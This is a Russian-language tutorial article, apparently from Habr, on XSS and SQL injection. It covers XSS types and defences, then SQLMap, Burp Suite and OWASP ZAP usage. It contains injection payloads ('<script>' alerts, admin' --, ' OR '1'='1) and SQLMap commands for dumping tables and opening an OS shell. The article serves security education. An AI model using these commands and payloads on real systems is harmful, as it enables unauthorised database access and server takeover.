Злоумышленник внедряет вредоносный JavaScript-код в поля ввода на сайте (например, комментарии, формы поиска, поля профиля). Когда другой пользователь открывает страницу, содержащую этот код, браузер пользователя выполняет этот скрипт.

Кейс для начинающих:
Представим простую форму для комментариев без фильтрации данных:

<form action="/comment" method="POST">   <input type="text" name="comment">   <button type="submit">Отправить</button> </form>

Злоумышленник вводит в поле комментария следующий код:

<script>alert('Ваши куки украдены!');</script>

Что происходит:

Если сайт не обрабатывает введенные данные должным образом (не экранирует и не фильтрует их), этот код будет сохранен в базе данных и отображен на странице. Когда другой пользователь откроет страницу с этим комментарием, его браузер выполнит JavaScript-код. В данном случае появится всплывающее окно с сообщением «Ваши куки украдены!». В реальной атаке вместо простого alert() будет использоваться код для кражи cookie, перенаправления пользователя на фишинговый сайт или выполнения других вредоносных действий.

Продвинутые функции XSS

XSS подразделяется на три основных типа: 

  • Reflected XSS (Отраженная XSS).
    Вредоносный скрипт передается в запросе пользователя (например, в URL) и сразу же «отражается» на странице, которую видит пользователь. Пример: «` http://example.com/search?q=<script>alert(‘XSS’)</script> «` Если сайт выводит значение параметра `q` на страницу без должной обработки, скрипт будет выполнен. 

  • Stored XSS (Сохраненная XSS).
    Вредоносный скрипт сохраняется на сервере (например, в базе данных) и выполняется каждый раз, когда страница, содержащая этот скрипт, загружается другими пользователями. Примером может служить сообщение на форуме или комментарий к статье. 

  • DOM-based XSS (XSS на основе DOM).
    Уязвимость возникает на стороне клиента, в JavaScript-коде страницы, который обрабатывает данные из DOM (Document Object Model). Вредоносный код не отправляется на сервер, а выполняется непосредственно в браузере пользователя, манипулируя DOM. XSS может использоваться для: 

    • Кражи cookie (cookie hijacking). Получение доступа к cookie пользователя, что позволяет злоумышленнику авторизоваться от его имени. 

    • Перенаправление пользователя на фишинговые сайты или сайты, распространяющие вредоносное ПО.  

    • Изменение внешнего вида страницы или подмена информации. 

    • Выполнения произвольных действий от имени пользователя. Например, отправка сообщений от имени пользователя в социальных сетях.

Как защититься:

  • Экранирование HTML-символов (HTML escaping). 
    Замена специальных HTML-символов (например, <>&"') на их HTML-сущности (например, &lt;&gt;&amp;&quot;&#39;). Это предотвращает интерпретацию этих символов как HTML-теги.

  • Валидация входных данных (Input validation).
    Проверка и фильтрация данных, вводимых пользователем, на соответствие ожидаемому формату и типу.

  • Использование Content Security Policy (CSP).
    CSP позволяет контролировать источники, с которых браузер может загружать ресурсы (скрипты, стили, изображения и т.д.), что помогает предотвратить выполнение вредоносных скриптов.

  • Установка флага HttpOnly для cookie.
    Установка флага HttpOnly для cookie предотвращает доступ к ним из JavaScript, что защищает от кражи cookie с помощью XSS.

SQL-инъекции на практике: от поиска уязвимостей до защиты

Теория — это хорошо. Но давайте честно, без практики она мёртва. Чтобы по-настоящему понять, как работают SQL-инъекции и как с ними бороться, нужно посмотреть на реальные примеры. Сегодня посмотрим, как атакуют базы данных и как можно вовремя остановить хакера.

⚠️ Внимание! Всё, что здесь описано, предназначено только для обучения и тестирования в безопасных средах. Взлом чужих систем — это преступление.

Как искать уязвимости: SQLMap в действии

SQLMap — это мощный инструмент с открытым исходным кодом, предназначенный для автоматизации процесса обнаружения и эксплуатации SQL-инъекций. Он может сканировать веб-приложения на наличие уязвимостей, а также автоматически эксплуатировать их для получения доступа к базе данных.

Как работает:

SQLMap отправляет различные SQL-запросы на веб-сервер и анализирует ответы, чтобы определить, есть ли уязвимость. Если уязвимость обнаружена, SQLMap может использовать различные техники (включая те, что мы рассмотрели ранее: UNION-инъекции, Blind-инъекции и др.) для извлечения информации из базы данных.

Кейс для начинающих:

Представим, что у нас есть тестовый веб-сайт с уязвимой страницей: http://test.example.com/product.php?id=1. Параметр id используется для отображения информации о товаре с соответствующим идентификатором.

Для проверки этой страницы на уязвимость с помощью SQLMap достаточно выполнить следующую команду в терминале (Linux/macOS):

sqlmap -u "http://test.example.com/product.php?id=1" --batch

Что происходит:

  • -u: указывает URL-адрес для проверки.

  • --batch: запускает SQLMap в автоматическом режиме, отвечая «да» на все вопросы.

SQLMap начнет отправлять различные запросы на сервер, пытаясь найти SQL-инъекции. Если уязвимость будет обнаружена, он сообщит об этом и предложит различные варианты эксплуатации.

Продвинутые функции SQLMap

SQLMap обладает множеством продвинутых функций, которые позволяют выполнять более сложные атаки:

Получение списка баз данных:

sqlmap -u "http://test.example.com/product.php?id=1" --dbs

Эта команда выведет список всех баз данных, доступных для текущего пользователя базы данных.

Получение списка таблиц в базе данных:

sqlmap -u "http://test.example.com/product.php?id=1" -D mydatabase --tables

-D mydatabase указывает имя базы данных.

Извлечение данных из таблицы:

sqlmap -u "http://test.example.com/product.php?id=1" -D mydatabase -T users --dump

-T users указывает имя таблицы. --dump извлекает все данные из таблицы.

Выполнение команд операционной системы:
В некоторых случаях, если у пользователя базы данных есть соответствующие права, SQLMap может выполнять команды операционной системы на сервере:

sqlmap -u "http://test.example.com/product.php?id=1" --os-shell

Burp Suite: Лаборатория для пентестера

Burp Suite — один из самых популярных инструментов для тестирования безопасности веб-приложений. Он позволяет перехватывать, анализировать и изменять HTTP(S)-запросы между браузером и сервером, что делает его идеальным инструментом для поиска SQL-инъекций.

Как работает:

Burp Suite действует как прокси-сервер, который перехватывает трафик между браузером и веб-сайтом. Это позволяет детально анализировать запросы и ответы, вносить изменения и проверять, как сервер реагирует на различные атаки, включая SQL-инъекции.

Кейс для начинающих: тестирование формы входа на сайте на наличие SQL-инъекций.

Запустите Burp Suite. Настройте браузер на использование прокси Burp Suite (обычно 127.0.0.1:8080).

Перейдите на страницу входа на сайте (например, http://test.example.com/login). Введите в поле логина: admin' --Burp Suite перехватит запрос.

Измените запрос в разделе Intercept и отправьте его на сервер.
Результат: если сервер уязвим, инъекция обойдет проверку пароля, и вы войдете в систему под учетной записью admin.

Продвинутые функции

Burp Suite предлагает мощный набор инструментов для поиска уязвимостей:

  • Proxy (Прокси): перехват и изменение запросов.

  • Intruder (Злоумышленник): автоматизированный перебор параметров (например, brute-force атаки на логин/пароль).

  • Repeater (Повторитель): ручное тестирование запросов с разными параметрами.

  • Scanner (Сканер): автоматический поиск уязвимостей (доступен в Pro версии).

  • Decoder (Декодер): декодирование и кодирование данных (Base64, URL и др.).

  • Comparer (Сравнитель): сравнение ответов сервера.

  • Extender: установка дополнительных плагинов.

Пример SQL-инъекции через Burp Suite:

POST /login HTTP/1.1   Host: example.com   Content-Type: application/x-www-form-urlencoded    username=admin' OR '1'='1&password=

Intruder может перебрать разные SQL-инъекции и автоматически выявить уязвимости.

OWASP ZAP: Бесплатный охотник за уязвимостями

OWASP ZAP (Zed Attack Proxy) — это бесплатный инструмент с открытым исходным кодом для поиска уязвимостей в веб-приложениях. Он прост в использовании и отлично подходит для начинающих.

Как работает:

ZAP перехватывает запросы между браузером и сервером, позволяет автоматически сканировать сайт на наличие уязвимостей и вручную тестировать конкретные параметры.

Кейс для начинающих: Автоматическая проверка сайта на SQL-инъекции.

Скачайте и установите OWASP ZAP. Настройте браузер на использование прокси ZAP (127.0.0.1:8080). Выберите «Automated Scan» в ZAP.

Введите URL сайта: http://test.example.com

Нажмите «Attack» — ZAP начнет сканирование.
Результат: по завершении ZAP выдаст отчет о найденных уязвимостях, включая SQL-инъекции.

Продвинутые функции

OWASP ZAP включает в себя мощные инструменты:

  • Active Scan (Активное сканирование): Агрессивный поиск уязвимостей.

  • Passive Scan (Пассивное сканирование): Безопасный анализ трафика.

  • Spider (Паук): Автоматический обход сайта для поиска страниц.

  • Fuzzer (Фаззер): Отправка случайных данных в запросы.

  • Forced Browsing: Попытка доступа к скрытым директориям.

  • Marketplace: Установка дополнительных модулей.

Пример SQL-инъекции, обнаруженной ZAP:

ZAP отправляет запрос: http://test.example.com/product.php?id=1' OR '1'='1

Если сервер возвращает неожиданные данные, ZAP фиксирует SQL-инъекцию.

Заключение. Инъекции — серьезная угроза, требующая внимания

В этой статье мы рассмотрели основные виды веб-инъекций, включая SQL-инъекции и XSS, и разобрали, как злоумышленники могут использовать эти техники. Стало ясно, что инъекции представляют собой серьезную угрозу для веб-приложений, позволяя получать несанкционированный доступ к данным и даже выводить сайты из строя.

Ключевой вывод: предотвращение инъекций — критически важная задача для обеспечения безопасности веб-приложений. Строгая валидация и фильтрация пользовательского ввода являются фундаментальными для защиты.

Существует множество методов и техник защиты от инъекций, включая параметризованные запросы, использование ORM, WAF и CSP, которые будут подробно рассмотрены в отдельной статье.

Я надеюсь, что эта статья помогла понять серьезность проблемы и дала базовые знания о том, как работают инъекции. Помните, что безопасность — это непрерывный процесс, требующий постоянного внимания и изучения.

Спасибо, что дочитали до конца! Я надеюсь, что Вы узнали что-то новое или интересное!


ссылка на оригинал статьи https://habr.com/ru/articles/873670/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *